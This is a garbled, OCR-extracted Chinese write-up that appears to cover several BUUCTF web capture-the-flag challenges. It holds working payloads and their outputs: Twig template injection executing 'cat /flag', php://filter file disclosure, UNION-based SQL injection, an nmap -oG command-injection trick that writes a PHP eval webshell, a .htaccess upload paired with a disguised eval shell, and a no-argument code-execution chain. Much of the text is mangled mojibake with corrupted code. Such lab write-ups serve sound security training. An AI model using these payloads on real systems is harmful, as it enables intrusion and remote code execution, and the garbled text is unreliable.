7 Referer: http://da3088a&-773=-4201-92ch-£c096=6E785a. node3 . buuo].cn/flag. php

| = Accept-Encoding: gzip, deflate

o Accept-Language: zh-CN, zh;c=0.9

10 Cookie: PHPSESSID=4elbdhiafedd794acod27Eb71E3b0525; user=
{{_self.env.registerUndefinedFilterCallback ("exec”] }} ({_self.env.getFilter ("4d")}}

11 connection: close

- Hello uid=82(www-data) gid=82(www-

[ =
P

data) groups=82(www-data),82(www-
data)
by
2
A (5){3} | | (=) [soaren EmE https:/blog.csdn.net/qq

K Eflag



_self.env _self.env

Raw | Params | Headers | Hex Raw | Headers | Hex

n Actions

Pretty n Actions Pretty JE#S
GET /flag.php HTTP/L.1

Host: dalDBBab-773=-4201-92cb-fc0%9E=66785a. nod=3 . buuoj.cn

cach=—Control: max-age=0

Upgrade-Insecure-Requests: L

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win&4; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/85.0.4183.121 Safari/537.36

Accept:

text/html, application/xhtml+xml, application/xml; q=0.9, image/avif, image/wehp, image/apng, */* ;g
pplication/signed-exchange;v=h3;¢=0.9

7 E§§§§Ei;g}g{:}ég;é?d;%?;za‘zigggg%zzDL*QZCb*chQ£E££7B5a.nodEJ .buuoi.en/flag.php H e I |0 fl ag {093589 b2 _008e_4a4d_8 bO 0-
S5d4dabece2el}

e w o e

@

-
5w w

Cookie: PHPSESSID=4elbdb4affd3784ac9d27fb71£3b0525; user=
|{(_s=1f.env.registerUndefinedriltercallback ("exec”) ) } { (_s=lf . =nv.getFilter ("cat /£lag")}}
11 Connection: close

v
[P

dn.net/qqg_515583

[BSidesCF 2020]Had a bad day

= C A %% | 311b6395-cc20-4352-a75-7beb74be02ca.node3.buuoj.cn ab g

Had a bad day?

Cheer up!

Did you have a bad day? Did things not go your way today? Are you feeling down? Pick an option and let the adorable images cheer you up!

WOOFERS MEOWERS

BEAE i — ki

e C A TE2 | 311b6395-cc20-4352-a7f5-7beb74be02ca.node3.buuoj.cn/index.php?category=woofers ap v B =

Had a bad day?

Cheer up!

Did you have a bad day? Did things not go your way today? Are you feeling down? Pick an option and let the adorable images cheer you up!

Woof! Woofl



MZEurl, FsqiEAN
K

A F2% | 311b6395-cc20-4352-a7f5-7beb74be02ca.node3.buuoj.cn/index.php?category=woofers%27 a ve @

ay?

Cheer up!

Did you have a bad day? Did things not go your way today? Are you feeling down? Pick an option and let the adorable images cheer you up!

Warning: include(woofers'.php): failed to open stream: No such file or directory in /var/www/html/index.php on line 37

Warning: include(): Failed opening ‘woofers'.php’ for inclusion (include_path=".:/usr/local/lib/php') in ivariwww/html/index.php on line 37

WOOFERS MEOWERS

#Hincludet®4s, R XHEET

HEiEindexI IR
payload

category=php



(Findex php AU R, G ATIEITIFNL: #RAF R HAR AT, AP 5 4% B AT 32 B2 P5H)

& @] A TZ% | view-source:311b6395-cc20-4352-a7f5-7beb74be02ca.node3.buuoj.cn/index.php?category=php:/filter/read =convert. base64-encode/reso 7= 2 -

. UL CIES PSS HTUEE WAL Lay U AW W day G HSRUSs  SUEVEE WAl UOLUL SESY AUV M UULUL VSET LS vy

4 <div class="mdl-layout_header-row’> “
15 Cepan class="mdl-layout-title”>Had a bad day?</span>

16 Cdiv class="ml-layout-spacer” ></div>

7 <div>

8 </header>

<div class="page-ribben”></div>

20 <main <lass= page-main mdl-layout_ comtemt’>
21 div class="page-container mdl-grid”>
22 <div class="mdl-cell mdl-cell--2-col mdl-cell--hide-tablet mdl-cell--hide-phaone”></div>

<div class="page-content mdl-color—-white mdl-shadow—-ddp content mdl-color-text--grey-800 mdl-cell mdl-cell--8-col”>

<div class="page-crumbs mdl-color-text—-grey-5007>

</div>

<n3>Cheer up!(/h3>
<>

Did you have a bad day? Did things not go your way today? Are you feeling down? Pick an option and let the adorable images cheer you up!

<p>
<div class="page-include”

PGHOBYw+C1AZPGH1 TWQ+C1 AgICASHVOY SB jaGFyc2VOPS] 1dGY 10CT +Ci AgI CAZLWYOY SBodHRwLWY e 1 2P SJTLVVBL UNvb¥BhdG1 i b6 Ui IGNvbrRLbnQ0Lk1FPYVEZ 2Ui PeogICAgPG 11 dGE gbnF tZT01 ZGV2Y3[pcHRpb24i IGNvbR1brGIk 1 1T¥dl cyB0aGF 01 KT X rIG pveSI+CiAgICASBYVOTSE
uTW11PS]2a¥V3c69ydC] g1 29udGVudD0id21k dGg 26 2a VN1 L¥dpZHRL CBphbml 0aWFsLYN j YWy L PTEW CogbW 1ua¥ 110:512F 2F sZT05L jAi PgogICAZPHRpdG ¢ 1 PkhZCBhIG hZCBK X /PCO0aYRZTAKIC A Dxs a5 IHT 1bD0i cBREBG¥2aGY1 dC1 2aH] 12,01 T3NzL2 LhdGVyaWF sLmlpbib jc3MiPyg
0gICAZPGxpbmsgenVeP STz dH] sZXNoZWVOLiBocmVnPS] j c2Myc3REbGUMT 3Nz] j 4KICABL 2h1 THQ-CiAgPGvZHI+C1 A ICARZG 121G XNzP SToTWd1LY xheV 91dCB 1ZGwtbGFEH3Y0IG LebC1YX1vdXQtL¥Zp eGVkL Y1 TWR1 ciB tZGwtanl tbGF 5b3V0IG 1kbC 1 jb2xvei 0123] 1eS0xNDAI PeogIChg
CABAGVHZGYyIGNSTXNZPSJwiW d1L¥nl TWRL i BtZGwtbGE 5b3V0X100ZWFKZXI gb¥RsLY xhe¥ 91dF 01 aGVhzZG VyL 512 3T whGwgbWRSLUNvbG OyLS IncmVSLTEGNCB tZGwt T 20b31 tdGV4dC01Z3] 1eS04NDAI ProgICAzI CAg IDykaXT g1 2xhe 3l SInlkbC 1T X1 viXREX2n1 TWRLci lyb3ciProgICAgICAS
ICAgPHNWEY 41 Zuhe3N 9L mliehC 1sTX1 vdXQtdG10bGUi PkihZCBhIG hZCBK Tk /PCO 2GR uPaog [CAZICAZ] CAgPGRpd1 B jbGF zez 01 bYReLWxheW a1dC 12 cGF jZXI1P jwwZG12Pg0sICAg 1CAEIDxkaXy+Ci Azl CAz] Duv aGVHZGVyP zog CAICASZG1 2IGNSY XiZP S Jorl Wl LY pYm]vhi I +ECOKkaXy +Cih
gI1CAEIDxtTWIuIGNSTXNZP ST WdLLY LhaVdgbWReLY xhe¥O 1dF 9£Y20udGYudCT +Ci Agl CAg ICAZPGRpdiB jbGF 2701 cGFNZS 1 jb250TWIuEX] gbVRsLWdyaWQiPgog [CAZICAZICAGF ORI BbGF e 201 bYRSLYNL GurzbWRSLNL bGortL T 1720516 1kbC 1 jZ¥xeLS 1 0aWRILXRhTm 1 dCB1ZGwt ¥ 2VebC
0126117 S1waGOuZST +PCOkaXT +CiAg] CAICAZICARZG1 2IGNSY NP ST Wl LYNvbnR1 brizbWReL VHivbGOyLS 13461 0ZSBtZ6wt c2hhZG 93L SO0ZHAZT20udG VudCB 1ZGwt Y 29sb 31 tdGVAdCOZ3] 1 eSOMNDAZbYRLYNLbGugbWRSLYN1bGwtLTg tV20e] j4K ICAICAZ] CAs ICAZPGRpdiB jbGF zez0ic
GFriZS1jeny tErlghVReLWIvbGOyLXR] eH)tLY dyZ ¥kt NTAw] jAKICAZ ICAZICART CAgPCOkaXY +C 1A ICAZICAZICAZIDxoN Z5DaGV1 ciB1eCEEL 25 zPgngICAZICAGICAZIC AR I DywPE0gICAZ I CAEICAR 1 CAZ ICARRG 1k T HLv dSB oY XZ1 1GE TnF k1GRheT8gRG1 kIR0 ¥oncyBub30g2 282l 4101 B3 Xk g
60Kk T Xk /TEFyZ SB5b3UgZni1bG 1uZyBlb3duP yBAaWNr IGF U 69wdG1 vbi BibrOghGVOIHRoZ SBhZGOyYY ] Z SBpbWFnZiMgY 2h1 ZX1 gV 91 1 HVwIQog1CAZ 1 CAgICAZICAZ I Durv DK ICAZ ICAGICAG TCAS [CARZG1 21 GNe T XNZPS Jwl Wl LWIuY 22 126U PgoaICAgI CAz ICASIC AgTDw/ cGhwC gle JCQkkZnl
SZSASICREROVINyd j TXR1Z 20yeSdd0wokCQk JOWL TG 122 2VOKCRIaW 1K SKKCQl JCXsKCQk JCO1 pZi gge 3Ry cG9zKCAkZm] sZSweIndvh2Z 1 crlli ICks1 TOOLCET ¥ 2ZSBECBzcHJub SM oI CRmaWx1LCAL bW Vv d2Vy ey sKSANPTOz IGZhbHIL 1HA8THNOCnBy cyeg JGZpbG U1 CTpbnR1 eCTpKXsKCQkJCO
1] W5 jbHVLZ SA0]GZpbGUgL i Anl nBocCopOwn JCQk JCXOKCQk JCQ11bHN1 ewoJOQkJCQL1 T 2hvIC [ ThE]yeSwed2UeT 3VycmVudG x5 1GOubHkge 2VncGOydCBab20nZ Y] Z GFuZCBZVO3ZE ] 2L i 1 7Cek JCOk ] 100 ] COk J £00]C 0k JPz4KCOk JPCOkaXY +Ci Ag] CA ICAZICABZnOybSBRY 3Rpb 249 ml uZGVAL
rBaeCIgbWy 06 0P SJrZX01 161kPS] jaGOpY2UiPeog ICAZICAICAZ ICAZID  JZWE0ZXI +PG ] 1dHRvbi Brbmilsa¥hrPS Jich ZN1b¥/udConZXRFLGY 1 ZW500n] JZCent ZhvaV¥N1 T vkuc3Vib¥10KCk 711 BuTW11PS ] jYXR1Z20yeS sdnf U9 Indvb2Z1 crli IGNSYXNzP STt ZGwt Yn¥0d6oulG LitbC1i d¥R0
b24tL¥NvbGOyZH0gbWReLY] 1dHRvbi0 tonfFpe 2V IG 1kbC Laey1i dXROb24gb¥ReLWp LY [pcHBSZS 11ZnZ1 7301 IGRAGE 1 dXBnenFeZVQ91 i xNYXRL eml hbE ] 1dHRvbi xNYXR1 cml hbF Jp cHBeZST +V29vZniVycz ez eGFulGNeY XlzP ST+ ZGurt Tn¥0dGoul 19yalBubGUt T 29udGF pbri/yl j48¢3BHbiB jhGF
2¢20i bWRSLXJp cHBSZSBpey libnl tYXRpbmei THNOeY x1PS]3aWR0aDogh Tg5L i LNnB40yBoZW1 naHQ61 DE 40S4zNT ZweDegdH  HbnMmb2] 101 BOenfFuc2xhdGUoL TU] SweL T ] Ske dH hbrNsTXR1KDN xcHzs1D1 1cHgpOyl +PCOz cGRuP juve 3Bhb j48L2] 1dHRvb J4KICAZ] CAgICAZICAZICART YOG
QuIGouT ZxpY 29T nRvY 3V ZW50LmedL dEVSZW 1 1bnRCel1kKCH jaGOpY 2UnKS5 za¥ ] taX0oKTs1 16 5hb¥US InlhdG Vnb3] 513B2TVx 12101 bW Vwd 2Vy eyl ¥ 2xhe 3MO I mlkbC 11 dXROb24gbVRSLY ] LaHRvbi 0tY 20sb3] 1ZCBZGwt TnV0dG Sul S1yTW1 224 Qgb¥RsLYpzL ¥ ] 1dHRvbiB tZGwtanN toml weGx1L
WnZn dCT gZGFO0Y $11cGely TWR1ZD01 LE 1hdG ¥yaWF sQny 06 Sul E1hdGVya¥ F slinl weGx 11 jENZW93ZX ] ZPHNT¥4g¥ 2xhe MO ImlkbC 1i dXROL25 £X3]peHBSZS 1 jb250TWLUZXT 1 P juzeGFul GNeFXNzP ST1ZGwt endweGx1 161 2L¥Fua¥ 1hdG1uZy T, ApZHRo01 AxODiNZUZcHg TIGh] alida
DogNTg5L i 1NnBA0yYB0CrFue 227 cn6THRy Y ¥52bGF 0ZS g tNTA1LCAtNT 41K SBO criF uc2xhdGUoN zF weCwell jVereClc 71 j 8L 2MEW A4PCOZ cGF P jurr InV0dGOuP jowd 2VudGVyPgosICAz 1CAEICAZPCONb3 ] tPgukICAZ ICAZICARI DwwZG1 2Pg0g] CAgICAZI DuvZG1 2PgogIChgI CASL2 1haV 4+CiAgICA
L2Rpdj4KICAZ1DxzT 3] peHlg 3] jPS ] qoy9t TXRLomlhbC5 taW duanlliP jov c2NyaXBOPaog IDuwinSkeT 4KPCO0 1sP= <fdivd
{form action="index. php” method="get” id="choice™>

<eenter>{button onelick="document. getElementByld(’ choice’ ). submit();” name="category” walue="woofers” sclass="mdl-button mdl-button--colored mdl-button--raised mdl-js-button mdl-js-ripple-effect” data-
upgraded=", NaterialButton, NaterialRipple >WoofersCspan class="mdl-button_ripple-container”><span class="mdl-ripple is-animating” style="width: 180.356px; height: 138, 356px; transform: translate(-50%, -50%) translate(3lpx, 26px);
</epan></epan></button>

<button onelick="docunment. getElementByld(’ choice’ ). submit() ;" name="category” value="meowers” class="mdl-button mdl-button--colored mdl-button--raised mdl-js-button mdl-js-ripple-sffect” data-
upgraded=", KaterialButton, NaterialRipple >Neowers<span class="mdl-button_ripple-container”><span class="mdl-ripple is-animating” style="width: 180.356px; height: 138, 356px; transform: translate(-50%, -50%) translate(3lpx, 26px);
</epan></epan></buttony</center>

form>
<faivd
<Jdivy
</main>
40 <aiv> o (o
41 Cseript erc="js/material.min. js"></scriptd e, 5%
2 </body>
43 <html>

$file = $ GET[

if(isset($file))
{
if( strpos( $file, false strpos( $file, false strpos( $file,
A
include ($file .
b
else{
echo

}

}




JFoR 2 R T $i4E, BT LARTTHE FpocA A BEbN.php
1& \ i category % A woofers,meowers,index7 Be & & N LAMEAN L RS0 B30, BRATE R kRS flag.php
ZR B BEBEEL /index. php?category=woofers/. ./flag

nLLina o4l AT R PRI T P Py S v L S A P R

10 < head>

11 <body>

12 <{div class="page-layout mdl-lavout mdl-layout—-fized-header mdl-js-layout mdl-color-—-—grey-10073

13 ¢header class="page-header mdl-layout_header mdl-layout_ header--scroll mdl-color--grey-100 mdl-caolc
14 <div class="mdl-layout_ header-row’ >

15 <gpan class="mdl-layout-title”>Had a bad day7</span>

16 <div class="mdl-layout-spacer” »</div>

17 <divr

18 </header>

19 {div class="page-ribkbon” ></div>

20 {main class="page-main mdl-layout__ content™>

21 <div class="page-container mdl-grid™>

22 {div class="mdl-cell mdl-cell--2-col mdl-cell--hide-tablet mdl-cell--hide—phone”></div>

23 <div class="page-content mdl-color--white mdl-shadow--4dp content mdl-color-text--grey-200 mdl-ce
24 <div class="page-crumbs mdl-color-text-—grey-5007>

25 <fdivy

26 <haxCheer up!</hi>

27 pr

28 Did vou have a bad day? Did things not go vour way today? Are vou feeling down? Pick an opt
29 Lo

30 <div class="page-include”>

31 <!-- Can vyou read this flag? -->

32 <fdivy

33 form action="index. php” method="Mgt” id="choica™>

34 <centerr<button onclick="documerd, zetElementByIdl choice’ ). submit ()" name="category” valus="

35

36
37

an

upzraded=", NaterialButton, NaterialRipple >Woofe
</ spany </ spansy</button

<zpan class="mdl-button_ ripple-—container”»<span class="mc

<button onclick="document. getElementByid( cholice’ ). submit () ;" name="category” value="meowers”

upgraded=", NaterialButton, NaterialRipple »Neowers<span® class="mdl-button_ ripple-container”»<span class="mc
<fapanr<Sepan < buttor> < center>

</ form>

ER LN

HELT BIKANA, BRI T lag.php, (HEXE T lag Bk
FI H php:/fitterty 8 7] LLE — E Prill B flag.php

index.php?category=php



E—/MNFRFindexfF & %M+ B Nflag, Eflag.php

Cheer up!

Did you have a bad day? Did things not go your way today? Are you feeling down? Pick an option and let the adorable images cheer you up!

Warning: include(): unable to locate filter "index" in /varfwww/html/index.php on line 37

Warning: include(): Unable to create filter (index) in /var/www/html/index.php on line 37
PCEtLSBDYW4geW91IHJIYWQgdGhpcyBmbGFnPyAILT4KPDOWaHAKIC8vIGZsYWd7ZmMXNTU4NGMtMzBmYy00ZmNILThhZmItOGM2NDNmNjU4MGYwfQo/Pgo=

WOOFERS MEOWERS \

EHIAEIFI T Basebd IRhYEEEASHY 7

PCEtLSBDYWA4geW91IHJIYWQgdGhpcyBmbGFnPyAtLTAKPD9waHAKIC8vIGZsYWd7ZmMxNTUANGMtMzBmYy00ZmNiLThhZmit
OGM2NDNmN;jU4MGYwfQo/Pgo=

%S (Encode) ##83 (Decode) | T3 (BHuER: + )

Baseb64 fRASERARAOATLER O R/BBEEHS
<!-- Can you read this flag? --»
<?php
// flag{fc15584c-30fc-4fcb-8afb-8c643f6580f0}
7>

[ —Z webA\ |]]afr 2

(& A 7745 | d25b0948-578d-438f-8f7d-d42d4fc0dad9f node3.buuoj.cn

HELLO!

TITIRRSE 2

(U B A=FE | view-source:d25b0948-57/8d-438t-8t/d-d42d4tc0daYt.

1 <html>
2 | <head>

Fam oA R R BN ) S



STLTLE ULELS/ T1TLIEs
<l head>

<body>

HELLO!

{img src="img/img. gif">
< bodyv

<htmlx

[

00 =l O N b

[4a

n_E/imgE 3.

& C A e | d25b0948-578d-438f-8f7d-d42d4fc0dadf.node3.buuoj.cn/img/

Index of /img/

d
ime. gif 04-0ct-2018 05:55 456384
GEEEE HX:
< C A %% | d25b0948-578d-438f-8f7d-d42d4fc0dadf.node3.buuoj.cn/img../

Index of /img../

e

bin, 28-Nay-2020 04:40 -
boot 24-Apr-2018 08:34 -
dev/ 02-Nar-2021 11:35 -
ete/ 02-Nar-2021 11:35 -
home 24-Apr-2018 08:34 -
lib/ 23-Nay-2017 11:32 -
likB4/ 03-Apr-2020 17:13 -
media 03-Apr-2020 17:12 -
mnt/ 03-Apr-2020 17:12 -
opt 03-Apr-2020 17:12 -
proc/ 02-Mar-2021 11:35 -
root 03-Apr-2020 17:14 -
run/ 02-Mar-2021 11:35 -
shin/ 28-Nay-2020 04:40 -
srv/ 03-Apr-2020 17:12 -
svs/ 02-Nar-2021 07:40 -
g/ 28-Nay-2020 04:40 -
usr 03-Apr-2020 17:12 -
var 28-Way-2020 04:40 -
flag 10-Nar-2020 20:24 20
E3lflag, T T REH:

" flag - iBE=



MMAF(F) mEE(E) TEINO) &JV) #HI(H)
n1book{afr 2 solved}

[ —% webA []]afr_1

[T p— A ]IS R WELAI O SBUUC A | LS ANIBUUN bR e A | L Scmriouivies: A | W busiir A L Sioveotuaca U LInS A T ,
G A %% | 3f39e8e0-a2a7-4b74-b13f-3f208ce20f52.node3 buuoj.cn/?p=hello % 8 o= ]

hello world!

AR08 R H BATHE 5 S~ php:/Hh
php:/fitter SEBIRAHE I i 1Tbase64mid il , AR EE L HphpRBEHITRE A BIERBAET .

convert.base64-encode/resource=flag

& C A T2 | 3f39e8e0-a2a7-4b74-b13f-3f208ce20f52.node3.buuoj.cn/?p=php://filter/convert base64-encode/resource=flag i

PD9waHAKZGIIKCdubyBubyBubycpOwovL24xYm9va3thZn)fMV9zb2x2ZWR9

BE3C BASEB4
<?php PDOwaHAKZGIIKCdubyBubyBubycpOwovL24xYm8va3thZnJfMV9zb2
die('no no no') BASEGA%ES x2ZWRS

/in1book{afr_1_solved}
€ BASEBAIRRS

[35—& webA]]SQLIEA -1



C A AZE | 7999c363-d50d-49chb-8263-bcab9b1a989c.node3.buuoj.cn/index.php?id=1 a» 79 B o=

notes

Happy

Why am | feeling so happy today? Well, | just got to spend three days with some of my very best friends having fun together. Yes, | am happy
because | had so much fun, but | am also happier because of my connections to these people. Belonging to a community of people helps us feel
connected to something greater than ourselves. Research has actually shown that people who are part of community have less stress, recover
more quickly from illnesses, and have less chance of a mental iliness.

1%27%20union%20select%201,2,group_concat(schema_name)%20from’%20information_schema.schemata’%23

A FZ4E | 7999c363-d50d-49cb-8263-bcab9b1a989c.node3.buuoj.cn/index.php?id=-1%27%20union%20select%201,2,group_concat(schema name)... 75 [ =

notes

2
information_schema,mysql,note,performance_schema

1%27%20union%20select%201,2,group concat(table name)%20from%20information_schema.tables table_schema

23

e 7999¢363-d50d-49ch-8263-bca69b1a989¢.node3.buuoj.cn/index. php?id=-1%27%20union%20select%201,2,group_concat(table_name)%2.. vs @

notes

2
fldg,notes

-1%27%20union%20select%201,2,group_concat(column_name)%20from%20information_schema.columns where
table_name="49’%23

notes

2
filllag

[BUUCTF 2018]Online Tool



<Yphp

if (isset($_SERVER[ HTTP_X_FORWARDED_FOR ]33 1
3_SERVER[’ RENOTE_ADDE' ] = 3$_SERVER[ HTTP_¥_FORWARDED_FOR' ]
}

if(Vis=et (3 GET[ host’ 1)) |
highlight file( FILE J:

}oelse
Fhost 3 GET[ host™ ];

Fhost escapeshellarg ($host) ;

Fhost escapeshellcmd(Fhost) ;

fsandbox = md5("glziin”. 3_SERVER[ REMOTE_ADDR 1)

echo “you are in sandbox . $sandbox;

Amkdir ($=zandbox)

chdir($sandbox)

echo  system( nmap -T% -sT -Pn --host-timeout 2 -F 7. 3host);

ARG
A LAVE & Flescapeshellargfllescapeshellemd BN A 18 15 26 $

PHP escapeshellarg()+escapeshellcmd() 2%
HERIT LEAXEXE, XHEANREE—BHASH LS

1HENKSHER: 172.17.0.2" -v -d a=1

2.4 itescapeshellargdh B fFAERL T '172.17.0.2"\"" -v -d a=1', BVSEXIEE| 54 Y, BARS| 5B EAH T EERMNmRE
FNEEMIER.

% idescapeshellcmd b B G2 R, '172.17.0.2"\\"' -v -d a=1\"', X F Nescapeshellcmdsh\LL & &5 I A BT )LHI 5] St
1T T# X http://php.net/manual/zh/function.escapeshelicmd.php

BBEPATHI M SR curl '172.17.0.2'\\"" -v -d a=1\", HTHEIKVBEER AT A TR LFRF, BrCUEHE R RA i
X, 5HEHH RN ILRT — AT AEERF. U EAAN curl 172.17.0.2\ -v -d a=1', BI[172.17.0.2\K&EiE

3K, POST ##f ~a=1".

TR RR R R B I T W, B EB 855Kk

RIGHETE, FEF echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);

XHsystemkAT S, MEFES, BERFAHXET

XERBHARERFERIMNMANIpX RS M —ANARH, & RPN REBCRET RN IEEE, RITMMANSHERT S5
&k, ERFARNES T _EHEIREBT AIRATA LU B IXA 5] 5 R4

X EE LA EENRED | & &&EBAIT, BARNIBZ LEKEERT T 855, {Hescapeshellemda it ix ek Ek 775 7l
i EkRER. ..

B % 30 R AR R BE A RE R A nmap SR 24 T .
KI5 % AT UL BUAEnmap s &t 4 — NS H-0G AT LIS B4 fr & 144 5 5 B S04t

4= N N
AT JE 2R B ST R 44
B | # cafsh x | [@ sme x | [@ Buuc x | [@ suuc x | [@ Buu x | [@ [ x | ) s x | & Buuc x | [@ suuc x | [@ BUUC x | € PHPe x | @ BUUC x | [ d7ey x |+ - X
& (@] A T4 | d793ffcb-acfa-4377-b54e-475fd880de77.node3.buuoj.cn/?host=%27%20< ?php%20@eval($_POST["hack"]);?>%20-0G%20hack. php%20%27 ¢ @ o= L)

you are in sandbox 2c956b1c6334dcd16c14f412a3f004bfStarting Nmap 7.70 ( https://nmap.org ) at 2021-04-10 10:42 UTC Nmap done: 0 IP addresses (0 hosts up) scanned in 2.98 seconds Nmap
done: 0 IP addresses (0 hosts up) scanned in 2.98 nds
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puzg; P
M &Fnig
Q Fhn ®XET

B Eulils

o M

URLihHE * 1880de77.node3.buuoj.cn/2c956b1c6334dcd 16c14f412a3f004bf/hack.phpl

EEES hack
Pl &

ey UTF8
jrssivl PHP

(=) default (T-3E7%)

() random (A1E3E)
() basebd
2 EkiEE
& HAbEE
@ Ews
SntSword BE BH #EiE
« o2 [0 117.21.200.165 [0117.21.200.165
D BE®RYEE (16) < | [ 3cHEdisk (18)
=)y oHE » aLE
+ : var 2%
bin
O bin
= dev o
o eic dev
| home 0 et
M (O home
M media 0O b
| mnt (O media
= proc O mnt
= oot O proc
= run 0O root
: shin &
srv
3 shin
sy o
= tmp s
o usr 0O sy
O tmp
(3 wusr
O wvar
[ .dockerenv
[ flag

HHFlEF

v
v
-
~
#
H &

2019-01-31 01:32:00
2021-04-10 10:42:27
2021-04-10 10:42:27
2019-01-31 00:20:38
2019-01-31 01:32:00
2019-01-30 02:55:44
2019-01-30 02:55:44
2021-04-10 10:42:27
2019-01-31 01:32:01
2019-02-15 15:42:27
2019-01-30 02:55:44
2019-01-30 02:55:44
2021-03-1503:24:14
2019-02-15 15:42:27
2019-01-31 01:32:00
2019-01-31 01:32:04
2021-04-10 10:42:27
2021-04-10 10:42:28

4 Kb
340 b
66b
22b
17b
44 b
6b
0b
6b
19b
4 Kb
6b
0b
68 b
41b
28b
0b
43 b

2 =]
Bt
0755
0735
0755
0755
0755
0755
0755
0555
0700
0755
0735
0735
0535
1777
0755
0755
0755
0644



[GXYCTF2019]BabyUpload

FIF .htaccess XX A%, &% LA —A htaccess X4

FilesMatch

SetHandler application/x-httpd-php
FilesMatch

XEER, XEENMEN 2, RZBERGHKE—AERDEREURpngKIRHES BRI 2 KK#EE, jpg/sREAIT. XEB
A, A% f B i 2 vE B B i Content-Type: image/jpeg

AAAAAAAAAA FEe e e s me iy e s s s s e g i o g i s e ey e -
2 User-Agent: Mozilla/5.0 (Windows NT 10.0; Winf4; x&4) AppleWsbKit/537.36 (KHTML, like Gecko) & Expires: Thu, 10 Nov 1981 08

Chromes/85.0.4183.121 Safari/537.3¢ o Pragma: no-cache
o Accept: 10 Vary: Accept-Encoding

text/html, application/xhtml+xml, application/xml; q=0.9, image/avif, image/webp, image/apng, */* ; q 11 K-Powsred-By: PHP/5.6.23

pplication/signed-exchangs; v=h3;q=0.9 12
10 Referer: http://0b4bB9dE-3291-4ea5-83dc—-094a53a424£0.node3 . buuoj.cn/ 13 <meta http-equiv="Content-Type" content="text/html; charset=utf-§" />
11 Accept-Encoding: gzip, deflate
1z Accept-Language: zh-CN,zh;o=0.9 14 <title>
13 Cookie: PHPSESSID=cO84565bIaffl443£0=26d7hE524£674 Upload
14 Connection: close </title>
15 15 <form actior="" method="post" enctype="multipart/form-data"s
16 ———-—- WebKitFormBoundar yniCeMIyy LXB4meyn 16  DO00<input type="file" name="uploadsd" />
17 Content-Disposition: form-data; nams="uploaded"; filename=".htaccess" 17 <input type="submit" name="submit" value="DO" />
1% Content-Type: image/jpeg 1% </form>
/var /waw/html/upload/23620b7E7dce3efachlc2e0Eb9895796/ . htaccess succesfully uploaded!
20 <FilesMatch "flag.png">
21 SetHandler application/x-httpd-p
22 </FilesMatch>
24 ———--- WebKitFormBoundar yniCeMIyyLXB4mryn
25 Content-Disposition: form-data; name="submit"
27 00
28 |-————- WebKitFormBoundar yniCEeMIyy LB Ame yn——

-
v

(A [l ] Tsearen seama | (DS e[| [searen e

TERIE, SRE LERBRE
2 JG LAEflag.png XX, BT XHRNESTIE<?HTLL
wHjs5| Fphp&it.

GIF89a

script language eval($ POST[cmd]);</script




o Accept: 10 Vary: Accept—Encoding

text/html, application/xhtml+xml, application/xml; q=0.9, image/avif, image/wehp, image/apng, */*; q 11 X-Powered-By: PHP/9.6.13
pplication/signed-exchange;v=h3; q=0.8 12
0 Referer: http://0b4b88dE-3291-4ea5-83de-094a53a424£0. node3 . buucj.cn/ 12 <meta http-equiv="Content-Typ=" content="text/html; charset=utf-8" />
1 Accept-Encoding: gzip, deflate
Z Accept-Language: zh-CN, zh;cF0.9 14 <title>
3 Cookie: PHPSESSID=d084565b2aff1443f0e26dTha8524F674 Upload

4 Connection: close </title>
5 <form actior="" method="post" enctyps="multipart/form-data"s
DO00<input type="fil=" n "uploaded” />
<input type="submit" name="submit" value="TO" />
g </form>
Jvar /wnna/html/upload/23620b 7 7deedefachlc206b9895796/ £lag. png succesfully uploadsd!

6| —————-1 WebKitFormBoundaryo l2XBbYfOukikkpr
7 Content-Dispesition: form-data; name="uploaded"; filename="flag.png"
£ Content-Type: image/jpdg

0 GIFBYa
<script language='php'>evali$_POST[ecmd]); </Script>

3 |————-1 WebKitFormBoundaryo 12 XBLTfOuKi¥kpr
4 Content-Disposition: form-data; name="submit"

oo
7 |- WebKitFormBoundaryo l2XBEbYfOouKikkpr——
=
&« C A 3% | 0b4b89d6-3291-4eab-83dc-094a53a424f0.node3.buuoj.cn/upload/23620b7f/dce3efaeb1c2e06b9895796/fla... ¢ M e :
GIF89a f1ag {52ddeBat-617b-41b5-58d0-224567366 1 16}
(w ﬂ Elements Consocle Sources Network Performance Memory Application Security Lighthouse HackBar T

LOAD SPLIT EXECUTE TEST -~ sqQLl -~ XSS - LFI -~ SSTI - ENCODING -~ HASHING ~ THEME -~

http://0b4b89d6-3291-4ea5-83dc-094a53a424f0.node3.buuoj.cn/upload/23620b7f7dce3efaeb1c2e06b9895796/flag.png

Enable
POST

application/x-www-form-urlencoded ADD HEADER

cmd=show_source('/flag’);

-
[GXYCTF2019]4% 1 2 #:

localeconv() BREUR[E—G&AHE 7 K5 G B EH4.
scandir() 4 images HFHHISCMAMAEF.

readfile() ith—A3CfF.

current () REFAFHAFHETG, BRIARE—ME.

pos() current() HIH4.

BRI TRABAFRI T —A R, Fid.
array_reverse () AR B0 R IR B 54
highlight file()ITEN#iHiEiEIRE filename UM iEEEEEMRA KA.

gityt T YERY, FHH githack

python GitHack.py http:


https://blog.csdn.net/yiqiushi4748/article/details/108343263?utm_medium=distribute.pc_relevant_t0.none-task-blog-2~default~BlogCommendFromMachineLearnPai2~default-1.control&dist_request_id=1330144.9574.16180534580052261&depth_1-utm_source=distribute.pc_relevant_t0.none-task-blog-2~default~BlogCommendFromMachineLearnPai2~default-1.control

A
if (!preg_match( , $ GET[ 1)) {
if( preg replace( , NULL, $ GET[ 1)) {
if (!preg_match( , $ GET[ 1)) {

@eval($ GET[ 1D;

1
J

else{
die(

payload:

exp=print_r(scandir(pos(localeconv())));

& C A 155 | 5cdbesf0-b888-41d6-a62-dc7f9db07b02.node3.buuoj.cn/?exp=print_r(scandir(pos(localeconv())));

flagfEMRERIE?
Array ([0] => . [1] => .. [2] => .git [3] => flag.php [4] => index.php )

Z JEEAIR FHarray_reverse() B EHNERE—T, FHnext()Fs Hflag.php3CA==>highlight file() =i H
payload:

exp=show_source(next(array_reverse(scandir(pos(localeconv())))));

& C A F7F% | 5cdbe8f0-b888-41d6-a62-dc7fadb07b02.node3.buuoj.cn/?exp=show_source(next(array_reverse(scandir(pos(localeconv())))));
flagFEBpENE?
<php
$flag = “flagleacd027¢c-Jaed-4decd-h72e-602692553080) 7
7

[Z## 2019]easy_web



